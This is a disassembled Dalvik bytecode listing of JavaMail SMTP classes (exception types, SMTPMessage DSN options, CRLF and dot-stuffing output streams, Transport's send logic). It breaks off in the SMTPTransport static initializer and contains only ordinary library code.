.super MessagingException
.source ""

.field private static final serialVersionUID:J = 0xA6623D341BC51ECFL
.field protected transient varargs invalid:[Address
.field protected transient varargs validSent:[Address
.field protected transient varargs validUnsent:[Address

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           MessagingException-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           MessagingException-><init>(String)V, p0, p1
00000006  return-void
.end method

.method public constructor <init>(String, Exception)V
          .registers 3
00000000  invoke-direct           MessagingException-><init>(String, Exception)V, p0, p1, p2
00000006  return-void
.end method

.method public constructor <init>(String, Exception, [Address, [Address, [Address)V
          .registers 6
00000000  invoke-direct           MessagingException-><init>(String, Exception)V, p0, p1, p2
00000006  iput-object             p3, p0, SendFailedException->validSent:[Address
0000000A  iput-object             p4, p0, SendFailedException->validUnsent:[Address
0000000E  iput-object             p5, p0, SendFailedException->invalid:[Address
00000012  return-void
.end method

.method public getInvalidAddresses()[Address
          .registers 2
00000000  iget-object             v0, p0, SendFailedException->invalid:[Address
00000004  return-object           v0
.end method

.method public getValidSentAddresses()[Address
          .registers 2
00000000  iget-object             v0, p0, SendFailedException->validSent:[Address
00000004  return-object           v0
.end method

.method public getValidUnsentAddresses()[Address
          .registers 2
00000000  iget-object             v0, p0, SendFailedException->validUnsent:[Address
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public SMTPAddressFailedException
.super SendFailedException
.source ""

.field private static final serialVersionUID:J = 0xB2B55B6465C5351L
.field protected addr:InternetAddress
.field protected cmd:String
.field protected rc:I

.method public constructor <init>(InternetAddress, String, I, String)V
          .registers 5
00000000  invoke-direct           SendFailedException-><init>(String)V, p0, p4
00000006  iput-object             p1, p0, SMTPAddressFailedException->addr:InternetAddress
0000000A  iput-object             p2, p0, SMTPAddressFailedException->cmd:String
0000000E  iput                    p3, p0, SMTPAddressFailedException->rc:I
00000012  return-void
.end method

.method public getAddress()InternetAddress
          .registers 2
00000000  iget-object             v0, p0, SMTPAddressFailedException->addr:InternetAddress
00000004  return-object           v0
.end method

.method public getCommand()String
          .registers 2
00000000  iget-object             v0, p0, SMTPAddressFailedException->cmd:String
00000004  return-object           v0
.end method

.method public getReturnCode()I
          .registers 2
00000000  iget                    v0, p0, SMTPAddressFailedException->rc:I
00000004  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public SMTPAddressSucceededException
.super MessagingException
.source ""

.field private static final serialVersionUID:J = 0xEFC93CBC5C773C53L
.field protected addr:InternetAddress
.field protected cmd:String
.field protected rc:I

.method public constructor <init>(InternetAddress, String, I, String)V
          .registers 5
00000000  invoke-direct           MessagingException-><init>(String)V, p0, p4
00000006  iput-object             p1, p0, SMTPAddressSucceededException->addr:InternetAddress
0000000A  iput-object             p2, p0, SMTPAddressSucceededException->cmd:String
0000000E  iput                    p3, p0, SMTPAddressSucceededException->rc:I
00000012  return-void
.end method

.method public getAddress()InternetAddress
          .registers 2
00000000  iget-object             v0, p0, SMTPAddressSucceededException->addr:InternetAddress
00000004  return-object           v0
.end method

.method public getCommand()String
          .registers 2
00000000  iget-object             v0, p0, SMTPAddressSucceededException->cmd:String
00000004  return-object           v0
.end method

.method public getReturnCode()I
          .registers 2
00000000  iget                    v0, p0, SMTPAddressSucceededException->rc:I
00000004  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public SMTPMessage
.super MimeMessage
.source ""

.field public static final NOTIFY_DELAY:I = 0x4
.field public static final NOTIFY_FAILURE:I = 0x2
.field public static final NOTIFY_NEVER:I = 0xFFFFFFFF
.field public static final NOTIFY_SUCCESS:I = 0x1
.field public static final RETURN_FULL:I = 0x1
.field public static final RETURN_HDRS:I = 0x2
.field private static final returnOptionString:[String
.field private allow8bitMIME:Z
.field private envelopeFrom:String
.field private extension:String
.field private notifyOptions:I
.field private returnOption:I
.field private sendPartial:Z
.field private submitter:String

.method static constructor <clinit>()V
          .registers 3
00000000  const/4                 v0, 0x3
00000002  new-array               v0, v0, [String
00000006  const/4                 v1, 0x1
00000008  const-string            v2, "FULL"
0000000C  aput-object             v2, v0, v1
00000010  const/4                 v1, 0x2
00000012  const-string            v2, "HDRS"
00000016  aput-object             v2, v0, v1
0000001A  sput-object             v0, SMTPMessage->returnOptionString:[String
0000001E  return-void
.end method

.method public constructor <init>(Session)V
          .registers 4
00000000  const/4                 v1, 0x0
00000002  const/4                 v0, 0x0
00000004  invoke-direct           MimeMessage-><init>(Session)V, p0, p1
0000000A  iput                    v0, p0, SMTPMessage->notifyOptions:I
0000000E  iput                    v0, p0, SMTPMessage->returnOption:I
00000012  iput-boolean            v0, p0, SMTPMessage->sendPartial:Z
00000016  iput-boolean            v0, p0, SMTPMessage->allow8bitMIME:Z
0000001A  iput-object             v1, p0, SMTPMessage->submitter:String
0000001E  iput-object             v1, p0, SMTPMessage->extension:String
00000022  return-void
.end method

.method public constructor <init>(Session, InputStream)V
          .registers 5
00000000  const/4                 v1, 0x0
00000002  const/4                 v0, 0x0
00000004  invoke-direct           MimeMessage-><init>(Session, InputStream)V, p0, p1, p2
0000000A  iput                    v0, p0, SMTPMessage->notifyOptions:I
0000000E  iput                    v0, p0, SMTPMessage->returnOption:I
00000012  iput-boolean            v0, p0, SMTPMessage->sendPartial:Z
00000016  iput-boolean            v0, p0, SMTPMessage->allow8bitMIME:Z
0000001A  iput-object             v1, p0, SMTPMessage->submitter:String
0000001E  iput-object             v1, p0, SMTPMessage->extension:String
00000022  return-void
.end method

.method public constructor <init>(MimeMessage)V
          .registers 4
00000000  const/4                 v1, 0x0
00000002  const/4                 v0, 0x0
00000004  invoke-direct           MimeMessage-><init>(MimeMessage)V, p0, p1
0000000A  iput                    v0, p0, SMTPMessage->notifyOptions:I
0000000E  iput                    v0, p0, SMTPMessage->returnOption:I
00000012  iput-boolean            v0, p0, SMTPMessage->sendPartial:Z
00000016  iput-boolean            v0, p0, SMTPMessage->allow8bitMIME:Z
0000001A  iput-object             v1, p0, SMTPMessage->submitter:String
0000001E  iput-object             v1, p0, SMTPMessage->extension:String
00000022  return-void
.end method

.method public getAllow8bitMIME()Z
          .registers 2
00000000  iget-boolean            v0, p0, SMTPMessage->allow8bitMIME:Z
00000004  return                  v0
.end method

.method getDSNNotify()String
          .registers 4
00000000  const/16                v2, 0x2C
00000004  iget                    v0, p0, SMTPMessage->notifyOptions:I
00000008  if-nez                  v0, :10
:C
0000000C  const/4                 v0, 0x0
:E
0000000E  return-object           v0
:10
00000010  iget                    v0, p0, SMTPMessage->notifyOptions:I
00000014  const/4                 v1, 0xFFFFFFFFFFFFFFFF
00000016  if-ne                   v0, v1, :20
:1A
0000001A  const-string            v0, "NEVER"
0000001E  goto                    :E
:20
00000020  new-instance            v0, StringBuffer
00000024  invoke-direct           StringBuffer-><init>()V, v0
0000002A  iget                    v1, p0, SMTPMessage->notifyOptions:I
0000002E  and-int/lit8            v1, v1, 0x1
00000032  if-eqz                  v1, :40
:36
00000036  const-string            v1, "SUCCESS"
0000003A  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
:40
00000040  iget                    v1, p0, SMTPMessage->notifyOptions:I
00000044  and-int/lit8            v1, v1, 0x2
00000048  if-eqz                  v1, :68
:4C
0000004C  invoke-virtual          StringBuffer->length()I, v0
00000052  move-result             v1
00000054  if-eqz                  v1, :5E
:58
00000058  invoke-virtual          StringBuffer->append(C)StringBuffer, v0, v2
:5E
0000005E  const-string            v1, "FAILURE"
00000062  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
:68
00000068  iget                    v1, p0, SMTPMessage->notifyOptions:I
0000006C  and-int/lit8            v1, v1, 0x4
00000070  if-eqz                  v1, :90
:74
00000074  invoke-virtual          StringBuffer->length()I, v0
0000007A  move-result             v1
0000007C  if-eqz                  v1, :86
:80
00000080  invoke-virtual          StringBuffer->append(C)StringBuffer, v0, v2
:86
00000086  const-string            v1, "DELAY"
0000008A  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
:90
00000090  invoke-virtual          StringBuffer->toString()String, v0
00000096  move-result-object      v0
00000098  goto                    :E
.end method

.method getDSNRet()String
          .registers 3
00000000  sget-object             v0, SMTPMessage->returnOptionString:[String
00000004  iget                    v1, p0, SMTPMessage->returnOption:I
00000008  aget-object             v0, v0, v1
0000000C  return-object           v0
.end method

.method public getEnvelopeFrom()String
          .registers 2
00000000  iget-object             v0, p0, SMTPMessage->envelopeFrom:String
00000004  return-object           v0
.end method

.method public getMailExtension()String
          .registers 2
00000000  iget-object             v0, p0, SMTPMessage->extension:String
00000004  return-object           v0
.end method

.method public getNotifyOptions()I
          .registers 2
00000000  iget                    v0, p0, SMTPMessage->notifyOptions:I
00000004  return                  v0
.end method

.method public getReturnOption()I
          .registers 2
00000000  iget                    v0, p0, SMTPMessage->returnOption:I
00000004  return                  v0
.end method

.method public getSendPartial()Z
          .registers 2
00000000  iget-boolean            v0, p0, SMTPMessage->sendPartial:Z
00000004  return                  v0
.end method

.method public getSubmitter()String
          .registers 2
00000000  iget-object             v0, p0, SMTPMessage->submitter:String
00000004  return-object           v0
.end method

.method public setAllow8bitMIME(Z)V
          .registers 2
00000000  iput-boolean            p1, p0, SMTPMessage->allow8bitMIME:Z
00000004  return-void
.end method

.method public setEnvelopeFrom(String)V
          .registers 2
00000000  iput-object             p1, p0, SMTPMessage->envelopeFrom:String
00000004  return-void
.end method

.method public setMailExtension(String)V
          .registers 2
00000000  iput-object             p1, p0, SMTPMessage->extension:String
00000004  return-void
.end method

.method public setNotifyOptions(I)V
          .registers 4
00000000  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000002  if-lt                   p1, v0, :E
:6
00000006  const/16                v0, 0x8
0000000A  if-lt                   p1, v0, :1E
:E
0000000E  new-instance            v0, IllegalArgumentException
00000012  const-string            v1, "Bad return option"
00000016  invoke-direct           IllegalArgumentException-><init>(String)V, v0, v1
0000001C  throw                   v0
:1E
0000001E  iput                    p1, p0, SMTPMessage->notifyOptions:I
00000022  return-void
.end method

.method public setReturnOption(I)V
          .registers 4
00000000  if-ltz                  p1, :A
:4
00000004  const/4                 v0, 0x2
00000006  if-le                   p1, v0, :1A
:A
0000000A  new-instance            v0, IllegalArgumentException
0000000E  const-string            v1, "Bad return option"
00000012  invoke-direct           IllegalArgumentException-><init>(String)V, v0, v1
00000018  throw                   v0
:1A
0000001A  iput                    p1, p0, SMTPMessage->returnOption:I
0000001E  return-void
.end method

.method public setSendPartial(Z)V
          .registers 2
00000000  iput-boolean            p1, p0, SMTPMessage->sendPartial:Z
00000004  return-void
.end method

.method public setSubmitter(String)V
          .registers 2
00000000  iput-object             p1, p0, SMTPMessage->submitter:String
00000004  return-void
.end method

#--------------------------------------------------------------------------------
.class public CRLFOutputStream
.super FilterOutputStream
.source ""

.field private static final newline:[B
.field protected atBOL:Z
.field protected lastb:I

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x2
00000002  new-array               v0, v0, [B
00000006  fill-array-data         v0, :14
0000000C  sput-object             v0, CRLFOutputStream->newline:[B
00000010  return-void
00000014  .array-data 1 x 0x2
              0xD
              0xA
          .end array-data
.end method

.method public constructor <init>(OutputStream)V
          .registers 3
00000000  invoke-direct           FilterOutputStream-><init>(OutputStream)V, p0, p1
00000006  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000008  iput                    v0, p0, CRLFOutputStream->lastb:I
0000000C  const/4                 v0, 0x1
0000000E  iput-boolean            v0, p0, CRLFOutputStream->atBOL:Z
00000012  return-void
.end method

.method public write(I)V
          .registers 4
00000000  const/16                v1, 0xD
00000004  if-ne                   p1, v1, :14
:8
00000008  invoke-virtual          CRLFOutputStream->writeln()V, p0
:E
0000000E  iput                    p1, p0, CRLFOutputStream->lastb:I
00000012  return-void
:14
00000014  const/16                v0, 0xA
00000018  if-ne                   p1, v0, :2C
:1C
0000001C  iget                    v0, p0, CRLFOutputStream->lastb:I
00000020  if-eq                   v0, v1, :E
:24
00000024  invoke-virtual          CRLFOutputStream->writeln()V, p0
0000002A  goto                    :E
:2C
0000002C  iget-object             v0, p0, CRLFOutputStream->out:OutputStream
00000030  invoke-virtual          OutputStream->write(I)V, v0, p1
00000036  const/4                 v0, 0x0
00000038  iput-boolean            v0, p0, CRLFOutputStream->atBOL:Z
0000003C  goto                    :E
.end method

.method public write([B)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  array-length            v1, p1
00000004  invoke-virtual          CRLFOutputStream->write([B, I, I)V, p0, p1, v0, v1
0000000A  return-void
.end method

.method public write([B, I, I)V
          .registers 9
00000000  const/16                v4, 0xD
00000004  add-int                 v1, p3, p2
00000008  move                    v0, p2
:A
0000000A  if-lt                   p2, v1, :2A
:E
0000000E  sub-int                 v2, v1, v0
00000012  if-lez                  v2, :28
:16
00000016  iget-object             v2, p0, CRLFOutputStream->out:OutputStream
0000001A  sub-int/2addr           v1, v0
0000001C  invoke-virtual          OutputStream->write([B, I, I)V, v2, p1, v0, v1
00000022  const/4                 v0, 0x0
00000024  iput-boolean            v0, p0, CRLFOutputStream->atBOL:Z
:28
00000028  return-void
:2A
0000002A  aget-byte               v2, p1, p2
0000002E  if-ne                   v2, v4, :58
:32
00000032  iget-object             v2, p0, CRLFOutputStream->out:OutputStream
00000036  sub-int                 v3, p2, v0
0000003A  invoke-virtual          OutputStream->write([B, I, I)V, v2, p1, v0, v3
00000040  invoke-virtual          CRLFOutputStream->writeln()V, p0
00000046  add-int/lit8            v0, p2, 0x1
:4A
0000004A  aget-byte               v2, p1, p2
0000004E  iput                    v2, p0, CRLFOutputStream->lastb:I
00000052  add-int/lit8            p2, p2, 0x1
00000056  goto                    :A
:58
00000058  aget-byte               v2, p1, p2
0000005C  const/16                v3, 0xA
00000060  if-ne                   v2, v3, :4A
:64
00000064  iget                    v2, p0, CRLFOutputStream->lastb:I
00000068  if-eq                   v2, v4, :80
:6C
0000006C  iget-object             v2, p0, CRLFOutputStream->out:OutputStream
00000070  sub-int                 v3, p2, v0
00000074  invoke-virtual          OutputStream->write([B, I, I)V, v2, p1, v0, v3
0000007A  invoke-virtual          CRLFOutputStream->writeln()V, p0
:80
00000080  add-int/lit8            v0, p2, 0x1
00000084  goto                    :4A
.end method

.method public writeln()V
          .registers 3
00000000  iget-object             v0, p0, CRLFOutputStream->out:OutputStream
00000004  sget-object             v1, CRLFOutputStream->newline:[B
00000008  invoke-virtual          OutputStream->write([B)V, v0, v1
0000000E  const/4                 v0, 0x1
00000010  iput-boolean            v0, p0, CRLFOutputStream->atBOL:Z
00000014  return-void
.end method

#--------------------------------------------------------------------------------
.class public SMTPOutputStream
.super CRLFOutputStream
.source ""

.method public constructor <init>(OutputStream)V
          .registers 2
00000000  invoke-direct           CRLFOutputStream-><init>(OutputStream)V, p0, p1
00000006  return-void
.end method

.method public ensureAtBOL()V
          .registers 2
00000000  iget-boolean            v0, p0, SMTPOutputStream->atBOL:Z
00000004  if-nez                  v0, :E
:8
00000008  invoke-super            CRLFOutputStream->writeln()V, p0
:E
0000000E  return-void
.end method

.method public flush()V
          .registers 1
00000000  return-void
.end method

.method public write(I)V
          .registers 5
00000000  const/16                v2, 0x2E
00000004  iget                    v0, p0, SMTPOutputStream->lastb:I
00000008  const/16                v1, 0xA
0000000C  if-eq                   v0, v1, :26
:10
00000010  iget                    v0, p0, SMTPOutputStream->lastb:I
00000014  const/16                v1, 0xD
00000018  if-eq                   v0, v1, :26
:1C
0000001C  iget                    v0, p0, SMTPOutputStream->lastb:I
00000020  const/4                 v1, 0xFFFFFFFFFFFFFFFF
00000022  if-ne                   v0, v1, :34
:26
00000026  if-ne                   p1, v2, :34
:2A
0000002A  iget-object             v0, p0, SMTPOutputStream->out:OutputStream
0000002E  invoke-virtual          OutputStream->write(I)V, v0, v2
:34
00000034  invoke-super            CRLFOutputStream->write(I)V, p0, p1
0000003A  return-void
.end method

.method public write([B, I, I)V
          .registers 11
00000000  const/16                v6, 0x2E
00000004  const/16                v1, 0xA
00000008  iget                    v0, p0, SMTPOutputStream->lastb:I
0000000C  const/4                 v2, 0xFFFFFFFFFFFFFFFF
0000000E  if-ne                   v0, v2, :36
:12
00000012  move                    v0, v1
:14
00000014  add-int                 v4, p3, p2
00000018  move                    v2, p2
0000001A  move                    v3, v0
0000001C  move                    v0, p2
:1E
0000001E  if-lt                   v2, v4, :3C
:22
00000022  sub-int                 v1, v4, v0
00000026  if-lez                  v1, :34
:2A
0000002A  sub-int                 v1, v4, v0
0000002E  invoke-super            CRLFOutputStream->write([B, I, I)V, p0, p1, v0, v1
:34
00000034  return-void
:36
00000036  iget                    v0, p0, SMTPOutputStream->lastb:I
0000003A  goto                    :14
:3C
0000003C  if-eq                   v3, v1, :48
:40
00000040  const/16                v5, 0xD
00000044  if-ne                   v3, v5, :66
:48
00000048  aget-byte               v3, p1, v2
0000004C  if-ne                   v3, v6, :66
:50
00000050  sub-int                 v3, v2, v0
00000054  invoke-super            CRLFOutputStream->write([B, I, I)V, p0, p1, v0, v3
0000005A  iget-object             v0, p0, SMTPOutputStream->out:OutputStream
0000005E  invoke-virtual          OutputStream->write(I)V, v0, v6
00000064  move                    v0, v2
:66
00000066  aget-byte               v3, p1, v2
0000006A  add-int/lit8            v2, v2, 0x1
0000006E  goto                    :1E
.end method

#--------------------------------------------------------------------------------
.class public abstract Transport
.super Service
.source ""

.field private transportListeners:Vector

.method public constructor <init>(Session, URLName)V
          .registers 4
00000000  invoke-direct           Service-><init>(Session, URLName)V, p0, p1, p2
00000006  const/4                 v0, 0x0
00000008  iput-object             v0, p0, Transport->transportListeners:Vector
0000000C  return-void
.end method

.method public static send(Message)V
          .registers 2
00000000  invoke-virtual          Message->saveChanges()V, p0
00000006  invoke-virtual          Message->getAllRecipients()[Address, p0
0000000C  move-result-object      v0
0000000E  invoke-static           Transport->send0(Message, [Address)V, p0, v0
00000014  return-void
.end method

.method public static send(Message, [Address)V
          .registers 2
00000000  invoke-virtual          Message->saveChanges()V, p0
00000006  invoke-static           Transport->send0(Message, [Address)V, p0, p1
0000000C  return-void
.end method

.method private static send0(Message, [Address)V
          .registers 16
00000000  const/4                 v5, 0x1
00000002  const/4                 v1, 0x0
00000004  const/4                 v3, 0x0
00000006  if-eqz                  p1, :10
:A
0000000A  array-length            v0, p1
0000000C  if-nez                  v0, :20
:10
00000010  new-instance            v0, SendFailedException
00000014  const-string            v1, "No recipient addresses"
00000018  invoke-direct           SendFailedException-><init>(String)V, v0, v1
0000001E  throw                   v0
:20
00000020  new-instance            v4, Hashtable
00000024  invoke-direct           Hashtable-><init>()V, v4
0000002A  new-instance            v7, Vector
0000002E  invoke-direct           Vector-><init>()V, v7
00000034  new-instance            v8, Vector
00000038  invoke-direct           Vector-><init>()V, v8
0000003E  new-instance            v9, Vector
00000042  invoke-direct           Vector-><init>()V, v9
00000048  move                    v2, v3
:4A
0000004A  array-length            v0, p1
0000004C  if-lt                   v2, v0, :6C
:50
00000050  invoke-virtual          Hashtable->size()I, v4
00000056  move-result             v2
00000058  if-nez                  v2, :D6
:5C
0000005C  new-instance            v0, SendFailedException
00000060  const-string            v1, "No recipient addresses"
00000064  invoke-direct           SendFailedException-><init>(String)V, v0, v1
0000006A  throw                   v0
:6C
0000006C  aget-object             v0, p1, v2
00000070  invoke-virtual          Address->getType()String, v0
00000076  move-result-object      v0
00000078  invoke-virtual          Hashtable->containsKey(Object)Z, v4, v0
0000007E  move-result             v0
00000080  if-eqz                  v0, :AE
:84
00000084  aget-object             v0, p1, v2
00000088  invoke-virtual          Address->getType()String, v0
0000008E  move-result-object      v0
00000090  invoke-virtual          Hashtable->get(Object)Object, v4, v0
00000096  move-result-object      v0
00000098  check-cast              v0, Vector
0000009C  aget-object             v6, p1, v2
000000A0  invoke-virtual          Vector->addElement(Object)V, v0, v6
:A6
000000A6  add-int/lit8            v0, v2, 0x1
000000AA  move                    v2, v0
000000AC  goto                    :4A
:AE
000000AE  new-instance            v0, Vector
000000B2  invoke-direct           Vector-><init>()V, v0
000000B8  aget-object             v6, p1, v2
000000BC  invoke-virtual          Vector->addElement(Object)V, v0, v6
000000C2  aget-object             v6, p1, v2
000000C6  invoke-virtual          Address->getType()String, v6
000000CC  move-result-object      v6
000000CE  invoke-virtual          Hashtable->put(Object, Object)Object, v4, v6, v0
000000D4  goto                    :A6
:D6
000000D6  iget-object             v0, p0, Message->session:Session
000000DA  if-eqz                  v0, :108
:DE
000000DE  iget-object             v0, p0, Message->session:Session
000000E2  move-object             v6, v0
:E4
000000E4  if-ne                   v2, v5, :126
:E8
000000E8  aget-object             v0, p1, v3
000000EC  invoke-virtual          Session->getTransport(Address)Transport, v6, v0
000000F2  move-result-object      v1
:F4
000000F4  invoke-virtual          Transport->connect()V, v1
000000FA  invoke-virtual          Transport->sendMessage(Message, [Address)V, v1, p0, p1
:100
00000100  invoke-virtual          Transport->close()V, v1
:106
00000106  return-void
:108
00000108  invoke-static           System->getProperties()Properties
0000010E  move-result-object      v0
00000110  invoke-static           Session->getDefaultInstance(Properties, Authenticator)Session, v0, v1
00000116  move-result-object      v0
00000118  move-object             v6, v0
0000011A  goto                    :E4
:11C
0000011C  move-exception          v0
0000011E  invoke-virtual          Transport->close()V, v1
00000124  throw                   v0
:126
00000126  invoke-virtual          Hashtable->elements()Enumeration, v4
0000012C  move-result-object      v10
0000012E  move                    v4, v3
00000130  move-object             v2, v1
:132
00000132  invoke-interface        Enumeration->hasMoreElements()Z, v10
00000138  move-result             v0
0000013A  if-nez                  v0, :1D4
:13E
0000013E  if-nez                  v4, :15A
:142
00000142  invoke-virtual          Vector->size()I, v7
00000148  move-result             v0
0000014A  if-nez                  v0, :15A
:14E
0000014E  invoke-virtual          Vector->size()I, v9
00000154  move-result             v0
00000156  if-eqz                  v0, :106
:15A
0000015A  move-object             v0, v1
0000015C  check-cast              v0, [Address
00000160  move-object             v4, v1
00000162  check-cast              v4, [Address
00000166  check-cast              v1, [Address
0000016A  invoke-virtual          Vector->size()I, v8
00000170  move-result             v3
00000172  if-lez                  v3, :2E2
:176
00000176  invoke-virtual          Vector->size()I, v8
0000017C  move-result             v0
0000017E  new-array               v3, v0, [Address
00000182  invoke-virtual          Vector->copyInto([Object)V, v8, v3
:188
00000188  invoke-virtual          Vector->size()I, v9
0000018E  move-result             v0
00000190  if-lez                  v0, :1A6
:194
00000194  invoke-virtual          Vector->size()I, v9
0000019A  move-result             v0
0000019C  new-array               v4, v0, [Address
000001A0  invoke-virtual          Vector->copyInto([Object)V, v9, v4
:1A6
000001A6  invoke-virtual          Vector->size()I, v7
000001AC  move-result             v0
000001AE  if-lez                  v0, :2DC
:1B2
000001B2  invoke-virtual          Vector->size()I, v7
000001B8  move-result             v0
000001BA  new-array               v5, v0, [Address
000001BE  invoke-virtual          Vector->copyInto([Object)V, v7, v5
:1C4
000001C4  new-instance            v0, SendFailedException
000001C8  const-string            v1, "Sending failed"
000001CC  invoke-direct/range     SendFailedException-><init>(String, Exception, [Address, [Address, [Address)V, v0 .. v5
000001D2  throw                   v0
:1D4
000001D4  invoke-interface        Enumeration->nextElement()Object, v10
000001DA  move-result-object      v0
000001DC  check-cast              v0, Vector
000001E0  invoke-virtual          Vector->size()I, v0
000001E6  move-result             v11
000001E8  new-array               v11, v11, [Address
000001EC  invoke-virtual          Vector->copyInto([Object)V, v0, v11
000001F2  aget-object             v0, v11, v3
000001F6  invoke-virtual          Session->getTransport(Address)Transport, v6, v0
000001FC  move-result-object      v12
000001FE  if-nez                  v12, :21A
:202
00000202  move                    v0, v3
:204
00000204  array-length            v12, v11
00000206  if-ge                   v0, v12, :132
:20A
0000020A  aget-object             v12, v11, v0
0000020E  invoke-virtual          Vector->addElement(Object)V, v7, v12
00000214  add-int/lit8            v0, v0, 0x1
00000218  goto                    :204
:21A
0000021A  invoke-virtual          Transport->connect()V, v12
00000220  invoke-virtual          Transport->sendMessage(Message, [Address)V, v12, p0, v11
:226
00000226  invoke-virtual          Transport->close()V, v12
0000022C  goto                    :132
:22E
0000022E  move-exception          v0
00000230  if-nez                  v2, :27E
:234
00000234  move-object             v2, v0
:236
00000236  invoke-virtual          SendFailedException->getInvalidAddresses()[Address, v0
0000023C  move-result-object      v11
0000023E  if-eqz                  v11, :24A
:242
00000242  move                    v4, v3
:244
00000244  array-length            v13, v11
00000246  if-lt                   v4, v13, :290
:24A
0000024A  invoke-virtual          SendFailedException->getValidSentAddresses()[Address, v0
00000250  move-result-object      v11
00000252  if-eqz                  v11, :25E
:256
00000256  move                    v4, v3
:258
00000258  array-length            v13, v11
0000025A  if-lt                   v4, v13, :2A0
:25E
0000025E  invoke-virtual          SendFailedException->getValidUnsentAddresses()[Address, v0
00000264  move-result-object      v4
00000266  if-eqz                  v4, :272
:26A
0000026A  move                    v0, v3
:26C
0000026C  array-length            v11, v4
:26E
0000026E  if-lt                   v0, v11, :2B0
:272
00000272  invoke-virtual          Transport->close()V, v12
00000278  move                    v4, v5
0000027A  goto/16                 :132
:27E
0000027E  invoke-virtual          MessagingException->setNextException(Exception)Z, v2, v0
:284
00000284  goto                    :236
:286
00000286  move-exception          v0
00000288  invoke-virtual          Transport->close()V, v12
0000028E  throw                   v0
:290
00000290  aget-object             v13, v11, v4
00000294  invoke-virtual          Vector->addElement(Object)V, v7, v13
0000029A  add-int/lit8            v4, v4, 0x1
0000029E  goto                    :244
:2A0
000002A0  aget-object             v13, v11, v4
000002A4  invoke-virtual          Vector->addElement(Object)V, v8, v13
000002AA  add-int/lit8            v4, v4, 0x1
000002AE  goto                    :258
:2B0
000002B0  aget-object             v11, v4, v0
000002B4  invoke-virtual          Vector->addElement(Object)V, v9, v11
:2BA
000002BA  add-int/lit8            v0, v0, 0x1
000002BE  goto                    :26C
:2C0
000002C0  move-exception          v0
000002C2  if-nez                  v2, :2D4
:2C6
000002C6  move-object             v2, v0
:2C8
000002C8  invoke-virtual          Transport->close()V, v12
000002CE  move                    v4, v5
000002D0  goto/16                 :132
:2D4
000002D4  invoke-virtual          MessagingException->setNextException(Exception)Z, v2, v0
:2DA
000002DA  goto                    :2C8
:2DC
000002DC  move-object             v5, v1
000002DE  goto/16                 :1C4
:2E2
000002E2  move-object             v3, v0
000002E4  goto/16                 :188
          .catchall {:F4 .. :100} :11C
          .catch SendFailedException {:21A .. :226} :22E
          .catch MessagingException {:21A .. :226} :2C0
          .catchall {:21A .. :226} :286
          .catchall {:236 .. :26E} :286
          .catchall {:27E .. :284} :286
          .catchall {:290 .. :2BA} :286
          .catchall {:2D4 .. :2DA} :286
.end method

.method public declared-synchronized addTransportListener(TransportListener)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Transport->transportListeners:Vector
00000006  if-nez                  v0, :18
:A
0000000A  new-instance            v0, Vector
0000000E  invoke-direct           Vector-><init>()V, v0
00000014  iput-object             v0, p0, Transport->transportListeners:Vector
:18
00000018  iget-object             v0, p0, Transport->transportListeners:Vector
0000001C  invoke-virtual          Vector->addElement(Object)V, v0, p1
:22
00000022  monitor-exit            p0
00000024  return-void
:26
00000026  move-exception          v0
00000028  monitor-exit            p0
0000002A  throw                   v0
          .catchall {:2 .. :22} :26
.end method

.method protected notifyTransportListeners(I, [Address, [Address, [Address, Message)V
          .registers 13
00000000  iget-object             v0, p0, Transport->transportListeners:Vector
00000004  if-nez                  v0, :A
:8
00000008  return-void
:A
0000000A  new-instance            v0, TransportEvent
0000000E  move-object             v1, p0
00000010  move                    v2, p1
00000012  move-object             v3, p2
00000014  move-object             v4, p3
00000016  move-object             v5, p4
00000018  move-object             v6, p5
0000001A  invoke-direct/range     TransportEvent-><init>(Transport, I, [Address, [Address, [Address, Message)V, v0 .. v6
00000020  iget-object             v1, p0, Transport->transportListeners:Vector
00000024  invoke-virtual          Transport->queueEvent(MailEvent, Vector)V, p0, v0, v1
0000002A  goto                    :8
.end method

.method public declared-synchronized removeTransportListener(TransportListener)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Transport->transportListeners:Vector
00000006  if-eqz                  v0, :14
:A
0000000A  iget-object             v0, p0, Transport->transportListeners:Vector
0000000E  invoke-virtual          Vector->removeElement(Object)Z, v0, p1
:14
00000014  monitor-exit            p0
00000016  return-void
:18
00000018  move-exception          v0
0000001A  monitor-exit            p0
0000001C  throw                   v0
          .catchall {:2 .. :14} :18
.end method

.method public abstract sendMessage(Message, [Address)V
.end method

#--------------------------------------------------------------------------------
.class public SMTPTransport
.super Transport
.source ""

.field static final synthetic $assertionsDisabled:Z = false
.field private static final CRLF:[B = null
.field private static final UNKNOWN:String = "UNKNOWN"
.field private static hexchar:[C
.field private static final ignoreList:[String
.field private addresses:[Address
.field private dataStream:SMTPOutputStream
.field private defaultPort:I
.field private exception:MessagingException
.field private extMap:Hashtable
.field private invalidAddr:[Address
.field private isSSL:Z
.field private lastReturnCode:I
.field private lastServerResponse:String
.field private lineInputStream:LineInputStream
.field private localHostName:String
.field private md5support:DigestMD5
.field private message:MimeMessage
.field private name:String
.field private out:PrintStream
.field private quitWait:Z
.field private reportSuccess:Z
.field private saslRealm:String
.field private sendPartiallyFailed:Z
.field private serverInput:BufferedInputStream
.field private serverOutput:OutputStream
.field private serverSocket:Socket
.field private useRset:Z
.field private useStartTLS:Z
.field private validSentAddr:[Address
.field private validUnsentAddr:[Address

.method static constructor <clinit>()V
          .registers 5
00000000  const/4                 v4, 0x2
00000002  const/4                 v1, 0x1
00000004  const/4                 v2, 0x0
00000006  const-class             v0, SMTPTransport
0000000A  invoke-virtual          Class->desiredAssertionStatus()Z, v0
00000010  move-result             v0
00000012  if-nez                  v0, :56
:16
00000016  move                    v0, v1
:18
00000018  sput-boolean            v0, SMTPTransport->$assertionsDisabled:Z
